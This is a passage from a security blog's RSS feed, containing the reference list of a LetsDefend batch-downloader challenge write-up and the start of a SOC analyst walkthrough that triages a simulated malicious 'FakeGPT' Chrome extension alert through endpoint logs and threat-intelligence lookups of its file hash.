this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/batch-downloader&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Batch Downloader&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another educational (and fun) challenge! While this challenge is intended for beginners, it&amp;rsquo;s always extremely valuable to brush up on our research skills. Using &lt;em&gt;Microsoft Learn&lt;/em&gt; to add context helped me gain a much better understanding of how this script works and various areas that we could improve our defenses against these types of attacks.&lt;/p&gt;&#xA;&lt;p&gt;Again, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Microsoft Learn (Windows Commands):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (Echo):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/echo&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/echo&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (Bitsadmin):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (Bitsadmin Transfer):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (setlocal):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/193.169.255.78/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/ip-address/193.169.255.78/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (start):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/start&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;start | Microsoft Learn&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (cscript):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff920171%28v=ws.11%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Cscript | Microsoft Learn&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia (VBScript):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/VBScript&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;VBScript — Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — SOC202 — FakeGPT Malicious Chrome Extension Investigation Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/</link>
            <pubDate>Sun, 01 Sep 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/52ec360df262f3d6fa64068792afe792_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — SOC202 — FakeGPT Malicious Chrome Extension Investigation Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--soc202--fakegpt-malicious-chrome-extension-investigation-walkthrough&#34;&gt;LetsDefend — SOC202 — FakeGPT Malicious Chrome Extension Investigation Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-malicious-chrome-extension-inside-a-simulated-soc&#34;&gt;Investigating a Malicious Chrome Extension inside a simulated SOC&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;418&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/52ec360df262f3d6fa64068792afe792_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Ever wondered what it&amp;rsquo;s like to be a &lt;em&gt;Security Operations Center&lt;/em&gt; (&lt;em&gt;SOC&lt;/em&gt;) analyst or how to approach investigating a malicious &lt;em&gt;Google Chrome&lt;/em&gt; extension? If so, you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;Welcome to my weekly walkthrough! This week, we&amp;rsquo;re taking a break from the usual challenge write-up format to tackle the &#xA;&lt;strong&gt;SOC202 — FakeGPT Malicious Chrome Extension&lt;/strong&gt; &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;alert&amp;quot;&#xA;from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Why the quotes? Well, in addition to scenario-based challenges, &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; provides realistic alert scenarios in a simulated &lt;em&gt;SOC&lt;/em&gt; to provide a hands-on experience with a SOC analyst&amp;rsquo;s workflow!&lt;/p&gt;&#xA;&lt;p&gt;In this walkthrough, we&amp;rsquo;re going to go through the full triage of a simulated alert for a malicious &lt;em&gt;Chrome&lt;/em&gt; extension installed onto a victim&amp;rsquo;s device. The triage process will include:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Taking ownership of the alert.&lt;/li&gt;&#xA;&lt;li&gt;Investigating &lt;em&gt;endpoint logs&lt;/em&gt; to understand if the file was detected and quarantined by the &lt;em&gt;antimalware&lt;/em&gt; solution.&lt;/li&gt;&#xA;&lt;li&gt;Leveraging external &lt;em&gt;threat intelligence&lt;/em&gt; for context about the suspicious extension.&lt;/li&gt;&#xA;&lt;li&gt;Hunting through &lt;em&gt;network logs&lt;/em&gt; to determine if the extension contacted the &lt;em&gt;command and control&lt;/em&gt; server.&lt;/li&gt;&#xA;&lt;li&gt;Documenting discovered &lt;em&gt;artifacts&lt;/em&gt;, creating case notes, and closing the alert.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve got a full plate here, so I hope you&amp;rsquo;re hungry to learn. Let&amp;rsquo;s get started — thanks for joining me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/monitoring&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/monitoring&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;alert-scenario&#34;&gt;Alert Scenario:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;697px&#34; data-flex-grow=&#34;290&#34; height=&#34;413&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/6c3acacc86a860e91893d9230564b6b5_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/6c3acacc86a860e91893d9230564b6b5_MD5_hu_5fd3aeb6e6303e98.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/6c3acacc86a860e91893d9230564b6b5_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;task-1--were-on-thecase&#34;&gt;Task 1 — We&amp;rsquo;re on the case:&#xA;&lt;/h3&gt;&lt;p&gt;First thing&amp;rsquo;s first. Before we can dive into the investigation, we&amp;rsquo;ll need to assign the &lt;em&gt;SOC202 — FakeGPT Malicious Chrome Extension&lt;/em&gt; alert to ourselves and create a case where we manage our workflow, artifacts, and notes.&lt;/p&gt;&#xA;&lt;p&gt;From the _Monitoring &amp;gt; Main Channe_l tab, let&amp;rsquo;s take the alert from the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;queue&amp;quot;&#xA;and assign it to ourselves.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3891px&#34; data-flex-grow=&#34;1621&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/60a7e464b7bc5b6d2b14c3f8deeca439_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/60a7e464b7bc5b6d2b14c3f8deeca439_MD5_hu_c3e56538aa0b8c6f.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/60a7e464b7bc5b6d2b14c3f8deeca439_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;366px&#34; data-flex-grow=&#34;152&#34; height=&#34;323&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/692f676fab411ec6709fb3ef32f8de7a_MD5.png&#34; width=&#34;493&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, from the &lt;em&gt;Monitoring &amp;gt; Investigation Channel&lt;/em&gt; we&amp;rsquo;ll create the case:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/c7728ecfeb06a6c3a577e71ae643580c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;373px&#34; data-flex-grow=&#34;155&#34; height=&#34;326&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/810de35dcdb8a7134ff5bc3d242311a3_MD5.png&#34; width=&#34;507&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Press &lt;em&gt;Continue&lt;/em&gt; and we&amp;rsquo;ll be taken to the &lt;em&gt;Case Management&lt;/em&gt; tab where we&amp;rsquo;ll keep track of our case and initiate the incident response playbook for this event.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1136px&#34; data-flex-grow=&#34;473&#34; height=&#34;169&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/d94564f06cb59f5031d1819334f5c7a7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pro Tip:&lt;/strong&gt; We&amp;rsquo;ll need to keep the &lt;em&gt;Case Management&lt;/em&gt; window open to manage the playbook steps and to answer questions, but you&amp;rsquo;ll also need access to the various tabs (&lt;em&gt;Log Management, Endpoint Security, etc&lt;/em&gt;.) on your dashboard available during the investigation. So, it&amp;rsquo;s best to open two tabs/windows in your browser so you can keep the case open on one and investigate with the other.&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the case opened, let&amp;rsquo;s follow the playbook and start our investigation!&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-2-check-if-the-malware-is-quarantinedcleaned&#34;&gt;Task 2: Check if the malware is quarantined/cleaned&#xA;&lt;/h3&gt;&lt;p&gt;Okay, once we click &amp;quot; # &amp;ldquo;Start Playbook!&amp;ldquo;we&amp;rsquo;re jumping right into the investigation and the first step is to the &lt;em&gt;Define Threat Indicator&lt;/em&gt; we&amp;rsquo;re investigating. While we have a couple of pre-made choices to select from, none of them are a good fit since the indicator that triggered the alert is a suspicious browser extension or potential malware, so we&amp;rsquo;ll select &lt;strong&gt;Other.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;577px&#34; data-flex-grow=&#34;240&#34; height=&#34;325&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/7bb30a6914b6b1a35ff556e2d03fc3b8_MD5.png&#34; width=&#34;782&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, following the playbook, the first step we&amp;rsquo;ll take is to determine if the malware has been quarantined/cleaned or if it&amp;rsquo;s currently active. Reviewing the triggered reason, &lt;em&gt;Suspicious extension added to the browser,&lt;/em&gt; the action was &lt;em&gt;allowed.&lt;/em&gt; Because of this action we might already assume the file wasn&amp;rsquo;t quarantined. It&amp;rsquo;s a good start, but it&amp;rsquo;s always the best practice to double-verify with the available logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;698px&#34; data-flex-grow=&#34;290&#34; height=&#34;275&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/aeb05bb31e96cc906515aee630e42c7d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s go a bit deeper and dive into data to understand what happened. To do this, we have a couple of logging sources at our disposal: &lt;em&gt;Log Management&lt;/em&gt; &amp;amp; &lt;em&gt;Endpoint Security.&lt;/em&gt; Since we&amp;rsquo;re searching for an &lt;em&gt;Antivirus&lt;/em&gt; action, let&amp;rsquo;s focus on the &lt;em&gt;Endpoint Security&lt;/em&gt; logs first since that is the place to find endpoint-level malware logging.&lt;/p&gt;&#xA;&lt;p&gt;But first, let&amp;rsquo;s refer back to the alert to recall the victim&amp;rsquo;s hostname and IP address:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;697px&#34; data-flex-grow=&#34;290&#34; height=&#34;413&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/0ce1061df4362f60a4324d3280b1afa7_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/0ce1061df4362f60a4324d3280b1afa7_MD5_hu_98cf4b12b4649b44.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/0ce1061df4362f60a4324d3280b1afa7_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hostname:&lt;/strong&gt; &lt;em&gt;Samuel&lt;/em&gt; &amp;amp; &lt;strong&gt;IP Address:&lt;/strong&gt; &lt;em&gt;172.16.17.173&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, we can begin searching the &lt;em&gt;Endpoint Security&lt;/em&gt; log for &lt;em&gt;Samuel&amp;rsquo;s&lt;/em&gt; workstation, correlating the events, and looking for any hits that the malicious extension was quarantined by the endpoint&amp;rsquo;s &lt;em&gt;antimalware&lt;/em&gt; solution.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s personal preference, but I&amp;rsquo;m going to change the results display drop-down from 10 to 20 to see all the log entries on one page. I also like to switch the &lt;em&gt;Event Time&lt;/em&gt; column to &lt;em&gt;descending (DESC)&lt;/em&gt; order — your choice though!&lt;/p&gt;&#xA;&lt;p&gt;Next, let&amp;rsquo;s look at the &lt;em&gt;Process Logs.&lt;/em&gt; Here we&amp;rsquo;ll find an event for &lt;em&gt;Google Chrome (chrome.exe)&lt;/em&gt; where the suspicious extension (&lt;em&gt;.crx&lt;/em&gt;) was opened with the browser with a timestamp that matches the alert. This establishes a point in time so that we can search the logs of events that occurred after this timestamp.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;638px&#34; data-flex-grow=&#34;266&#34; height=&#34;451&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/71e4ec6c95cba2cc8d9cf4e26a8e20ae_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/71e4ec6c95cba2cc8d9cf4e26a8e20ae_MD5_hu_bf7827e06df6a01.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/71e4ec6c95cba2cc8d9cf4e26a8e20ae_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, let&amp;rsquo;s focus now specifically on events from &lt;em&gt;Microsoft Defender&lt;/em&gt; to see if any quarantine action was taken. But how do we know the endpoint is using &lt;em&gt;Microsoft Defender&lt;/em&gt;? Notice the event right after the &lt;em&gt;chrome.exe&lt;/em&gt; event we looked at earlier. The file path of the executable is a nice hint, but browsing the process names we&amp;rsquo;ll see &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/command-line-arguments-microsoft-defender-antivirus&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MpCmdRun.exe&lt;/em&gt;&lt;/a&gt; which is the command-line tool component of &lt;em&gt;Microsoft Defender Antivirus.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, putting this all together, if we filter the &lt;em&gt;Microsoft Defender&lt;/em&gt; process name and look for events after the malware was run, this will help us understand if &lt;em&gt;Defender&lt;/em&gt; took any actions against the malicious file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;872px&#34; data-flex-grow=&#34;363&#34; height=&#34;220&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/7e20da6b77d137a2022a08d0cfbeb83a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Based on the command line data, the three entries seem related to signature update jobs and are &lt;em&gt;not&lt;/em&gt; quarantine actions. Between the &lt;em&gt;Process&lt;/em&gt; events and the &lt;em&gt;allowed&lt;/em&gt; action in the alert, we have enough evidence to confirm that the malware was &lt;em&gt;Not Quarantined.&lt;/em&gt; Let&amp;rsquo;s go back to our &lt;em&gt;Case Management&lt;/em&gt; tab, select the answer, and move on to the next step in the workflow.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;729px&#34; data-flex-grow=&#34;303&#34; height=&#34;230&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/9db75f042ef2985348ccb900b3005fc0_MD5.png&#34; width=&#34;699&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-3-analyze-malware-in-3rd-party-tools-and-find-c2address&#34;&gt;Task 3: Analyze malware in 3rd party tools and find C2 address&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve determined that the suspicious extension was not quarantined by the endpoint&amp;rsquo;s &lt;em&gt;antimalware&lt;/em&gt; solution, we&amp;rsquo;ll need to analyze it further using the provided tools to determine if it is indeed malicious or not.&lt;/p&gt;&#xA;&lt;p&gt;The playbook suggests the following web-based services that we can use to gather threat intelligence about the extension:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.any.run/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;AnyRun&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;VirusTotal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://urlhaus.abuse.ch/browse/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;URLHouse&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://urlscan.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;URLScan&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;HybridAnalysis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;First, let&amp;rsquo;s jump back to the &lt;em&gt;Alert&lt;/em&gt; in the &lt;em&gt;Monitoring &amp;gt; Investigation Channel&lt;/em&gt; so we can copy the &lt;em&gt;File Hash&lt;/em&gt; of the malicious extension.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;697px&#34; data-flex-grow=&#34;290&#34; height=&#34;413&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/5f794fe8c61c22b7c2e1b3491fa85b82_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/5f794fe8c61c22b7c2e1b3491fa85b82_MD5_hu_2c14e3ca4d041f93.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/5f794fe8c61c22b7c2e1b3491fa85b82_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you aren&amp;rsquo;t familiar with file hashes, here&amp;rsquo;s a brief description from &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4#description&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft&lt;/em&gt;&lt;/a&gt;&lt;em&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A hash value is a unique value that corresponds to the content of the file. Rather than identifying the contents of a file by its file name, extension, or other designation, a hash assigns a unique value to the contents of a file. File names and extensions can be changed without altering the content of the file, and without changing the hash value. Similarly, the file&amp;rsquo;s content can be changed without changing the name or extension. However, changing even a single character in the contents of a file changes the hash value of the file.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, put another way, using the &lt;em&gt;file hash&lt;/em&gt; of the suspicious extension during our searches means that we&amp;rsquo;re getting data about the identical, exact file that was installed on Samuel&amp;rsquo;s workstation giving us a high degree of confidence compared to searching a file name or something easy to manipulate.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;File Name:&lt;/strong&gt; &lt;em&gt;hacfaophiklaeolhnmckojjjjbnappen.crx&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;File Hash:&lt;/strong&gt;&#xA;&lt;em&gt;7421f9abe5e618a0d517861f4709df53292a5f137053a227bfb4eb8e152a4669&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start with the first service on the list, &lt;a class=&#34;link&#34; href=&#34;https://app.any.run/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;ANY.RUN&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;. Here, we can search for that &lt;em&gt;file hash,&lt;/em&gt; view previous public submissions, and dive into the analysis results. Let&amp;rsquo;s check out the result with the closest timestamp to the &lt;strong&gt;Event Time&lt;/strong&gt; (May 29, 2023, 01:01 PM) of the alert.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;512px&#34; data-flex-grow=&#34;213&#34; height=&#34;562&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 